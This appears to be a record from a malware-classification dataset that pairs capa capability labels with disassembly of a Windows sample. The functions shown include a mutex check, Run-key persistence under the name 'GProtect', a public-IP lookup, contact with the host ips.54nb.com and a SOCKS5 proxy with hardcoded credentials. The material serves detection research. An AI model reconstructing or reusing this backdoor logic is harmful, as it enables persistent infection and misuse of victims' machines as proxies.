joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404d90
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x20c]
push ebx
push esi
push edi
push eax
push ecx
call fcn.00401180
add esp, 8
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
je 0x404fa7
mov esi, dword [sym.imp.WSOCK32.dll_setsockopt]
lea edx, [esp + 0x10]
push 4
push edx
push 0x1005
push 0xffff
push eax
mov dword [esp + 0x24], 0xbb8
call esi
cmp eax, 0xffffffff
jne 0x404dfd
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x208
ret
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push 4
push ecx
push 0x1006
push 0xffff
push edx
call esi
cmp eax, 0xffffffff
jne 0x404e32
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x208
ret
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x15]
mov esi, 2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 5
push 4
lea edx, [esp + 0x14]
mov dword [esp + 0x1d], esi
push ecx
mov dword [esp + 0x22], 0
push edx
mov dword [esp + 0x27], esi
call section..text
add esp, 0x10
cmp eax, 1
jne 0x404f8f
mov ebx, dword [sym.imp.WSOCK32.dll_recv]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push 0x200
push eax
push ecx
call ebx
test eax, eax
jle 0x404f8f
mov eax, dword [esp + 0x15]
test eax, eax
je 0x404f68
cmp eax, esi
jne 0x404f8f
mov esi, dword [esp + 0x220]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], 1
mov edx, ecx
mov eax, ecx
lea edi, [esp + 0x16]
mov byte [esp + 0x15], dl
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x228]
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + edx + 0x1b]
mov eax, ecx
mov ebp, ecx
shr ecx, 2
mov byte [esp + edx + 0x1a], al
lea eax, [eax + edx + 3]
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
cdq
rep movsb byte es:[edi], byte [esi]
push edx
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
call section..text
add esp, 0x10
cmp eax, 1
pop ebp
jne 0x404f8f
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x14]
push eax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 0x200
push eax
push ecx
call ebx
test eax, eax
jle 0x404f8f
mov eax, dword [esp + 0x15]
test eax, eax
jne 0x404f8f
mov edx, dword [esp + 0xc]
push 2
push edx
call dword [sym.imp.WSOCK32.dll_shutdown]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret
mov ecx, dword [esp + 0xc]
push 2
push ecx
call dword [sym.imp.WSOCK32.dll_shutdown]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x208
ret
Function at 0x404fc0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4101a0
push 0x408c48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x22c], esi
mov byte [ebp - 0x220], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x230], ebx
test ebx, ebx
je 0x405078
push esi
push 0x84000100
mov edi, str.Accept:___r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Accept:___r_n_r_n
push str.http:__iframe.ip138.com_ic.asp
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
mov dword [ebp - 0x22c], esi
test esi, esi
je 0x405078
lea eax, [ebp - 0x20]
push eax
push 0x200
lea ecx, [ebp - 0x220]
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 0xffffffff
call fcn.004050bb
push 0x41270c
lea edx, [ebp - 0x220]
push edx
call fcn.004086b0
add esp, 8
mov esi, eax
test esi, esi
jne 0x4050d2
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
add esi, 0xb
push 0x412708
push esi
call fcn.004086b0
sub eax, esi
push eax
push esi
mov eax, dword [ebp + 8]
push eax
call fcn.00408b40
add esp, 0x14
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405350
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Initialize winsock library
Persist via run registry key
Set registry value
Terminate process

Disassembly:
sub esp, 0x2a0
push esi
push edi
push str.INSU
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, eax
test esi, esi
jne 0x405377
push 1
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40538f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call edi
lea eax, [esp + 8]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4053f8
mov ecx, 0x40
lea edi, [esp + 0x15]
mov byte [esp + 0x14], al
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x18]
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
push edx
push 1
push 0
push str.GProtect
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x118]
push edx
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
push 0x4127a8
push 0x4127a0
push 0x305b
call fcn.00406850
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
test al, al
jne 0x40544b
push 0x64
call esi
push 0x4127a8
push 0x4127a0
push 0x305b
call fcn.00406850
add esp, 0xc
test al, al
je 0x40542c
push 0x7d0
call esi
push 0x4127a8
push 0x4127a0
push 0x305b
push 0x305b
push 0x305b
call fcn.00405110
add esp, 0x14
test al, al
je 0x4054b9
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0x41279c
push 0x412798
push 0x305b
push 0x4970
push str.ips.54nb.com
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
call fcn.004012d0
add esp, 0x1c
push 0x2bf20
call esi
push 0x3e8
jmp 0x4054b7
Function at 0x406850
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
test ebx, ebx
je 0x406946
mov esi, dword [esp + 0x14]
test esi, esi
je 0x406946
mov edx, dword [esp + 0x18]
test edx, edx
je 0x406946
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x406946
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x406946
mov ecx, 0x40
mov edi, str.upnp
rep stosd dword es:[edi], eax
mov ecx, 0x40
mov edi, str.123789
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
mov dword [0x415838], ebx
mov dword [0x41786c], 2
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.upnp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.123789
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00407c40
test eax, eax
je 0x406946
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x406840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40694c
mov ecx, dword [0x417840]
push ecx
call dword [sym.imp.WSOCK32.dll_closesocket]
mov dword [0x417840], 0
pop edi
pop esi
xor al, al
pop ebx
ret
pop edi
pop esi
mov al, 1
pop ebx
ret

Function at 0x406b50
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x40
mov ecx, dword [esp + 0x48]
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push 0x2d
push 0x20
push eax
push ecx
call fcn.00406a70
add esp, 0x10
test eax, eax
je 0x406bd5
push 0
lea edx, [esp + 0x34]
push 0x20
push edx
push eax
call fcn.00406a70
mov eax, dword [esp + 0x64]
mov esi, dword [sym.imp.WSOCK32.dll_inet_addr]
add esp, 0x10
push eax
call esi
cmp eax, 0xffffffff
je 0x406bd5
mov edi, dword [sym.imp.WSOCK32.dll_ntohl]
push eax
call edi
lea ecx, [esp + 0x10]
mov ebp, eax
push ecx
call esi
cmp eax, 0xffffffff
je 0x406bd5
push eax
call edi
lea edx, [esp + 0x30]
mov ebx, eax
push edx
call esi
cmp eax, 0xffffffff
je 0x406bd5
push eax
call edi
cmp ebp, ebx
jb 0x406bd5
cmp ebp, eax
ja 0x406bd5
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x40
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret

Function at 0x406d20
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
jne 0x406d30
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
ret
Function at 0x406d40
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x14
push ebp
push 0x415758
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ebp, eax
test ebp, ebp
je 0x406e1c
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
cmp dword [eax + ecx], 0
je 0x406e25
mov edx, dword [esp + 0x28]
xor ebx, ebx
mov byte [edx], 0
cmp word [ebp + 0xa], bx
jle 0x406e12
test ebx, ebx
jle 0x406db8
mov edi, 0x4129f8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx]
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [edx + ebx]
push eax
push 0x4129f4
push ecx
call fcn.00408211
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
movsx eax, word [ebp + 0xa]
cmp ebx, eax
jl 0x406d88
add dword [esp + 0x10], 4
jmp 0x406d64
mov eax, dword [esp + 0x1c]
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x28]
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x14
ret

Function at 0x406e40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
test esi, esi
jle 0x406e85
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WSOCK32.dll_send]
test eax, eax
jle 0x406e85
sub esi, eax
add edi, eax
test esi, esi
jg 0x406e6b
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406e90
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 4]
push 4
push eax
push 0x80
push 0xffff
push esi
mov word [esp + 0x18], 1
mov word [esp + 0x1a], 0
call dword [sym.imp.WSOCK32.dll_setsockopt]
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
pop esi
pop ecx
ret
Function at 0x406ed0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406eee
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WSOCK32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x406f41
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.00406e90
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x406f50
Capabilities:
Set socket configuration

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.WSOCK32.dll_inet_addr]
push esi
call edi
cmp eax, 0xffffffff
je 0x406f78
mov eax, dword [esp + 0x10]
push eax
push esi
call edi
push eax
call fcn.00406ed0
add esp, 8
pop edi
pop esi
ret
push esi
call fcn.00406d20
add esp, 4
test eax, eax
je 0x406fa2
mov ecx, dword [esp + 0x10]
push ecx
push esi
call fcn.00406d20
add esp, 4
push eax
call edi
push eax
call fcn.00406ed0
add esp, 8
pop edi
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x4071a0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
sub esp, 0x44
xor eax, eax
lea ecx, [esp + 0x24]
mov dword [esp + 4], eax
push esi
mov dword [esp + 0xc], eax
push ecx
mov dword [esp + 0x14], eax
mov dword [esp + 8], 0x10
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], 2
call fcn.00406d40
add esp, 4
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 0x11
push 2
push 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], 0
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4071fe
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x18]
push 0x10
push edx
push esi
call dword [sym.imp.WSOCK32.dll_bind]
cmp eax, 0xffffffff
jne 0x407218
xor eax, eax
pop esi
add esp, 0x44
ret
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
call dword [sym.imp.WSOCK32.dll_getsockname]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x407237
mov edx, dword [esp + 0xc]
mov dword [eax], edx
mov eax, dword [esp + 0x50]
test eax, eax
je 0x407247
mov cx, word [esp + 0xa]
mov word [eax], cx
mov eax, esi
pop esi
add esp, 0x44
ret

Function at 0x407250
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, dword [esp + 0x28]
lea eax, [esp + 0x28]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x38], edi
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
xor ecx, ecx
push eax
mov dword [esp + 0x14], ecx
mov word [esp + 0x14], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
call dword [sym.imp.WSOCK32.dll_htons]
test esi, esi
mov word [esp + 0x12], ax
jle 0x4072d1
mov ebp, dword [esp + 0x28]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push 0
lea edx, [edi + ebp]
push esi
push edx
push ebx
call dword [sym.imp.WSOCK32.dll_sendto]
cmp eax, 0xffffffff
je 0x4072db
sub esi, eax
add edi, eax
test esi, esi
jg 0x4072af
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10
ret
Function at 0x407580
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x2104
call fcn.00408680
mov eax, dword [esp + 0x2108]
push ebx
push ebp
mov ebp, dword [sym.imp.WSOCK32.dll_recv]
mov ebx, dword [eax]
push esi
push edi
mov edi, dword [eax + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], edi
je 0x4075bf
inc eax
add ecx, 4
cmp eax, 1
jb 0x4075b2
cmp eax, 1
jne 0x4075d0
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WSOCK32.dll_select]
test eax, eax
jle 0x40766d
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x407628
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push edi
call ebp
mov esi, eax
test esi, esi
jle 0x40766d
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.00406e40
add esp, 0xc
cmp eax, esi
jne 0x40766d
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x4075a0
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebx
call ebp
mov esi, eax
test esi, esi
jle 0x40766d
lea eax, [esp + 0x114]
push esi
push eax
push edi
call fcn.00406e40
add esp, 0xc
cmp eax, esi
je 0x4075a0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2104
ret
Function at 0x407680
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x4076b0
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x4076ca
cmp al, 2
je 0x4076ca
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, str.upnp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WSOCK32.dll_send]
cmp eax, 0xffffffff
jne 0x40770d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x407843
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WSOCK32.dll_recv]
cmp eax, 0xffffffff
je 0x407837
test eax, eax
je 0x407837
cmp byte [ebp], 1
je 0x40776d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x407796
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x407796
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x4077c5
cmp ecx, 0x100
jg 0x4077c5
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push str.upnp
call fcn.0040ec40
add esp, 8
test eax, eax
jne 0x407819
lea esi, [esp + 0x110]
mov eax, str.123789
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40780b
test cl, cl
je 0x407807
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40780b
add eax, 2
add esi, 2
test cl, cl
jne 0x4077e7
xor eax, eax
jmp 0x407810
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407819
mov byte [ebp + 1], al
jmp 0x40781d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WSOCK32.dll_send]
cmp eax, 0xffffffff
jne 0x407843
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x407860
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.00407680
add esp, 0xc
test eax, eax
je 0x407911
cmp eax, 4
jne 0x4078b2
cmp byte [esi + 1], 1
jne 0x407911
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.00406fb0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WSOCK32.dll_recv]
cmp eax, 0xffffffff
je 0x407911
test eax, eax
je 0x407911
cmp byte [esi], 5
jne 0x407911
mov cl, byte [esi + 3]
cmp cl, 1
je 0x4078de
cmp cl, 3
jne 0x407911
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.00406fb0
add esp, 0x14
test eax, eax
je 0x407911
mov al, byte [esi + 1]
cmp al, 1
je 0x407908
cmp al, 3
jne 0x407911
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x407c40
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
xor eax, eax
push 6
mov dword [esp + 6], eax
push 1
mov dword [esp + 0xe], eax
push 2
mov dword [esp + 0x16], eax
mov word [esp + 0xc], 0
mov word [esp + 0x1a], ax
call dword [sym.imp.WSOCK32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x417840], eax
je 0x407cc6
mov cx, word [0x415838]
mov word [esp], 2
push ecx
call dword [sym.imp.WSOCK32.dll_htons]
mov word [esp + 2], ax
mov eax, dword [0x417840]
lea edx, [esp]
push 0x10
push edx
push eax
mov dword [esp + 0x10], 0
call dword [sym.imp.WSOCK32.dll_bind]
cmp eax, 0xffffffff
je 0x407cc1
mov ecx, dword [0x417840]
push 0x32
push ecx
call dword [sym.imp.WSOCK32.dll_listen]
cmp eax, 0xffffffff
jne 0x407cdd
mov eax, dword [0x417840]
push eax
call dword [sym.imp.WSOCK32.dll_closesocket]
mov dword [0x417840], 0
xor eax, eax
add esp, 0x10
ret
mov eax, 1
add esp, 0x10
ret
Function at 0x407cf0
Capabilities:
Create thread
Get socket status

Disassembly:
sub esp, 0x110
mov ecx, dword [0x417840]
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
xor edi, edi
push 0x8004667e
push ecx
mov dword [esp + 0x20], 1
mov dword [esp + 0x1c], edi
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x417840]
push edi
push edi
lea eax, [esp + 0x24]
push edi
push eax
push edi
mov dword [esp + 0x34], edx
mov dword [esp + 0x30], 1
call dword [sym.imp.WSOCK32.dll_select]
test eax, eax
jle 0x407dbd
mov ecx, dword [0x417840]
push edi
push edi
push ecx
call dword [sym.imp.WSOCK32.dll_accept]
mov esi, eax
push 0x41583c
push 0x416840
push esi
call fcn.00406c20
add esp, 0xc
test eax, eax
jne 0x407d81
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
jmp 0x407d2b
lea edx, [esp + 0x10]
push edx
push 0x8004667e
push esi
call dword [sym.imp.WSOCK32.dll_ioctlsocket]
push 8
call fcn.0040912d
add esp, 4
cmp eax, edi
je 0x407d2b
lea ecx, [esp + 0x18]
mov dword [eax], esi
push ecx
push edi
push eax
push 0x407920
push edi
push edi
mov dword [eax + 4], edi
call ebx
push eax
call ebp
jmp 0x407d2b
cmp dword [0x41683c], edi
jle 0x407dda
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
cmp dword [0x41683c], edi
jg 0x407dcb
mov dword [0x417840], edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret